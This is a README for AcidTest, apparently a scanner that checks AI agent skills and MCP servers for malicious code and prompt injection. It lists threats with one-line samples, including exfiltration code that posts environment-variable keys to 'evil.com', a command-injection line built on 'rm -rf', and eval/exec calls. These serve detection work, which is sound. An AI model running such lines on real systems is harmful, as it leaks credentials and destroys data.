AcidTest
Security scanner for AI agent skills and MCP servers. Scan before you install.
The Problem
The AI agent ecosystem is growing rapidly, but security lags behind adoption:
- No centralized vetting: Unlike mobile app stores, there's no security review before skills are published
- Broad permissions: Skills can request file system access, environment variables, and network calls
- Supply chain risks: Dependencies and third-party code run with full skill permissions
- Prompt injection: Malicious skills can manipulate AI behavior through carefully crafted prompts
- Credential harvesting: Skills requesting API keys and tokens without proper justification
Recent ecosystem incidents highlight these risks:
- Mass uploads of malicious skills to public marketplaces
- Skills with undeclared network calls exfiltrating data
- Obfuscated code hiding malicious behavior
- Permission escalation through dynamic imports
AcidTest provides security scanning before installation, helping you identify risks before they reach your system.
Quick Start
# See AcidTest in action npx acidtest demo # Scan an AgentSkills skill npx acidtest scan ./my-skill # Scan an MCP server npx acidtest scan ./my-mcp-server
No API keys. No configuration. Works with TypeScript and Python.
Example Output
AcidTest v1.0.0
Scanning: proactive-agent
Source: test-skills/proactive-agent-1-2-4-1
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
TRUST SCORE: 72/100 ███████░░░ WARN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FINDINGS
✖ CRITICAL instruction-override
SKILL.md:170
Attempts to override agent instructions
3 matches found
○ LOW No declared permissions
SKILL.md
Skill declares no permissions (bins, env, or allowed-tools)
Legitimate skills typically declare at least one permission
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
RECOMMENDATION: Do not install. Prompt injection attempt detected.
What AcidTest Catches
| Threat | TypeScript Example | Python Example | Detection Method |
|---|---|---|---|
| Arbitrary Code Execution | eval(userInput), new Function() |
eval(user_input), exec(code) |
AST analysis + pattern matching |
| Command Injection | exec('rm -rf ' + dir) |
subprocess.run(cmd, shell=True) |
AST analysis + pattern matching |
| Unsafe Deserialization | N/A | pickle.loads(data) |
AST analysis + pattern matching |
| Data Exfiltration | const k = process.env.KEY; fetch('evil.com', {body: k}) |
key = os.environ['KEY']; requests.post('evil.com', data=key) |
Dataflow analysis |
| Hardcoded Credentials | apiKey = "sk_live_..." |
API_KEY = "sk_live_..." |
Pattern matching + entropy |
| Prompt Injection | Markdown instruction override | Markdown instruction override | Injection detection layer |
| Obfuscation | Base64/hex encoded payloads | Base64/hex encoded payloads | Shannon entropy analysis |
| Supply Chain Attacks | require('child_' + 'process') |
__import__(module_name) |
AST bypass detection |
| Permission Escalation | Undeclared network/filesystem access | Undeclared network/filesystem access | Permission audit + crossref |
What AcidTest Doesn't Catch:
- Zero-day exploits in Node.js itself
- Vulnerabilities in npm dependencies (use
npm auditfor this) - Runtime behavior outside static analysis scope
- Sophisticated polymorphic code or advanced VM-level evasion
See METHODOLOGY.md for full transparency on capabilities and limitations (90-95% detection rate with dataflow).
How It Works
AcidTest runs five analysis layers:
- Permission Audit: Analyzes declared permissions (bins, env, tools)
- Prompt Injection Scan: Detects instruction override attempts (AgentSkills)
- Code Analysis: Multi-language AST analysis + Shannon entropy detection for obfuscation
- Cross-Reference: Catches code behavior not matching declared permissions
- Dataflow Analysis ✨ NEW: Tracks taint flow from sources (env vars, user input) to dangerous sinks (exec, fetch)
Language Support:
- TypeScript/JavaScript: Full AST analysis with 59 security patterns
- Python: Full AST analysis with 45 Python-specific patterns (tree-sitter based)
- Detects eval/exec, subprocess injection, unsafe deserialization, SQL injection, XSS, and more
Advanced Features:
- 104 security patterns across 14 categories (SQL injection, XSS, insecure crypto, prototype pollution, etc.)
- Multi-step attack detection: Tracks data flow through assignments, properties, and function calls
- Entropy analysis: Detects base64/hex encoding and obfuscated strings
- Context-aware detection: shell=True, SafeLoader, dangerouslySetInnerHTML, etc.
- CI/CD integration: GitHub Actions and pre-commit hooks
Works with both SKILL.md (AgentSkills) and MCP manifests (mcp.json, server.json, package.json).
Why AcidTest?
| Feature | AcidTest | npm audit | Manual Review | Sandboxing |
|---|---|---|---|---|
| Speed | ⚡ <2 seconds | ⚡ <1 second | 🐌 Hours | ⚡ Seconds |
| Agent-Specific Threats | ✅ Yes | ❌ No | ✅ Yes | |
| Code Analysis | ✅ AST + Regex | ❌ Manifest only | ✅ Full | ❌ Runtime only |
| Prompt Injection | ✅ Detects | ❌ N/A | ✅ Detects | ❌ N/A |
| Dependency Vulns | ❌ No | ✅ Yes | ❌ No | |
| Setup Required | 🟢 Zero config | 🟢 Built-in | 🔴 Expert knowledge | 🟡 Complex |
| Cost | 🟢 Free | 🟢 Free | 🔴 Expensive | 🟡 Infrastructure |
| Pre-Installation | ✅ Yes | ✅ Yes | ✅ Yes | ❌ Post-install |
Defense-in-depth approach: Use AcidTest with npm audit and sandboxing for comprehensive security.
Install
Or use without installing:
npx acidtest scan ./path-to-skill
Usage
CLI Commands
# See AcidTest in action with demo fixtures acidtest demo # Scan an AgentSkills skill acidtest scan ./my-skill acidtest scan ./my-skill/SKILL.md # Scan an MCP server acidtest scan ./my-mcp-server # Auto-detects mcp.json, server.json, etc. acidtest scan ./server/mcp.json # Direct manifest path # Scan all skills/servers in a directory acidtest scan-all ./directory # Watch mode - re-scan on file changes acidtest scan ./my-skill --watch acidtest scan ./my-skill -w # Short form # Show remediation suggestions acidtest scan ./my-skill --fix # Combine flags acidtest scan ./my-skill --watch --fix # JSON output for programmatic use acidtest scan ./my-skill --json # Start as MCP server (for AI agents) acidtest serve
CLI Options
--watch,-w- Watch for file changes and automatically re-scan- Keyboard controls:
qto quit,rto force re-scan,cto clear terminal - Use
--no-clearto preserve terminal history between scans
- Keyboard controls:
--fix- Show actionable remediation suggestions for each finding--json- Output results as JSON for programmatic use--no-clear- Don't clear terminal between scans (watch mode only)
Configuration File
Create a .acidtest.json file in your skill directory to customize scanning behavior:
{
"ignore": {
"patterns": ["di-008"],
"categories": ["obfuscation"],
"files": ["vendor/**", "*.min.js"]
},
"thresholds": {
"minScore": 80,
"failOn": ["CRITICAL", "HIGH"]
},
"output": {
"format": "detailed",
"showRemediation": true,
"colors": true
}
}Configuration Options:
ignore.patterns- Array of pattern IDs to suppress (e.g.,["di-001", "cp-006"])ignore.categories- Array of categories to suppress (e.g.,["obfuscation"])ignore.files- Array of glob patterns for files to skip scanningthresholds.minScore- Minimum passing score (0-100). Exit with error if score is below thisthresholds.failOn- Array of severities that cause scan to fail (e.g.,["CRITICAL", "HIGH"])output.format- Output format:"detailed","compact", or"json"output.showRemediation- Show remediation suggestions (boolean)output.colors- Enable/disable colored output (boolean)
CLI flags override config file settings.
Use as MCP Server
AcidTest can run as an MCP (Model Context Protocol) server, allowing AI agents like Claude to scan skills and MCP servers before installation.
Claude Desktop Configuration
Add to your claude_desktop_config.json:
{
"mcpServers": {
"acidtest": {
"command": "npx",
"args": ["-y", "acidtest", "serve"]
}
}
}Or if installed globally:
{
"mcpServers": {
"acidtest": {
"command": "acidtest",
"args": ["serve"]
}
}
}Available MCP Tools
-
scan_skill: Scan a single skill or MCP server- Input:
{ "path": "/path/to/skill" } - Returns: Full scan result with trust score and findings
- Input:
-
scan_all: Scan all skills/servers in a directory- Input:
{ "directory": "/path/to/directory" } - Returns: Array of scan results
- Input:
Once configured, Claude can scan skills before installation:
User: "Can you scan this MCP server before I install it?"
Claude: [Uses acidtest scan_skill tool to analyze the server]
Quick Start with Template
The fastest way to start building secure AI agent skills:
# Use the template repository # Visit: https://github.com/currentlycurrently/acidtest/tree/main/template-repo # Or manually create a new skill mkdir my-skill && cd my-skill npm init -y echo '---\nname: my-skill\n---\n# My Skill' > SKILL.md # Add AcidTest to CI/CD mkdir -p .github/workflows curl -o .github/workflows/acidtest.yml https://raw.githubusercontent.com/currentlycurrently/acidtest/main/template-repo/.github/workflows/acidtest.yml
The template repository includes:
- ✅ AcidTest pre-configured
- ✅ GitHub Actions workflow with PR comments
- ✅ TypeScript setup
- ✅ Best practices guide
- ✅ Example handler
Use in CI/CD
Automate security scanning in your GitHub Actions workflows.
Quick Setup
Copy this workflow to .github/workflows/acidtest.yml:
name: Security Scan on: [pull_request, push] jobs: acidtest: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - run: npx acidtest@latest scan . --json > results.json - run: | STATUS=$(jq -r '.status' results.json) if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then echo "❌ Security scan failed" exit 1 fi
PR Comments (Recommended)
Automatically comment on pull requests with detailed scan results:
name: AcidTest Security Scan on: pull_request: paths: ['**.ts', '**.js', 'SKILL.md', 'mcp.json'] jobs: scan: runs-on: ubuntu-latest permissions: contents: read pull-requests: write steps: - uses: actions/checkout@v4 - uses: actions/setup-node@v4 with: node-version: '20' - name: Run AcidTest run: npx acidtest@latest scan . --json > results.json || true # ... (PR comment script)
See .github/workflows/acidtest-pr-comment.yml for the complete PR comment workflow.
Security Badge
Show that your skill is security-scanned:
[](https://github.com/currentlycurrently/acidtest)
Pre-Commit Hook
Catch issues before committing:
# Install pre-commit hook curl -o .git/hooks/pre-commit https://raw.githubusercontent.com/currentlycurrently/acidtest/main/hooks/pre-commit chmod +x .git/hooks/pre-commit # Now every commit runs AcidTest automatically git commit -m "Add new feature" # Scans before committing
See hooks/README.md for installation options and configuration.
Scoring
Starts at 100, deducts by severity (CRITICAL: -25, HIGH: -15, MEDIUM: -8, LOW: -3). Score 80+ is PASS, 50-79 is WARN, 20-49 is FAIL, below 20 is DANGER.
Contributing
Detection patterns are JSON files in src/patterns/. Add new patterns and submit a PR.
License
MIT
Documentation
- Methodology - Security approach and limitations (90-95% detection rate)
- Changelog - Version history
- Contributing - How to add detection patterns
- Security Policy - Responsible disclosure
- Template Repository - Starter kit with AcidTest pre-configured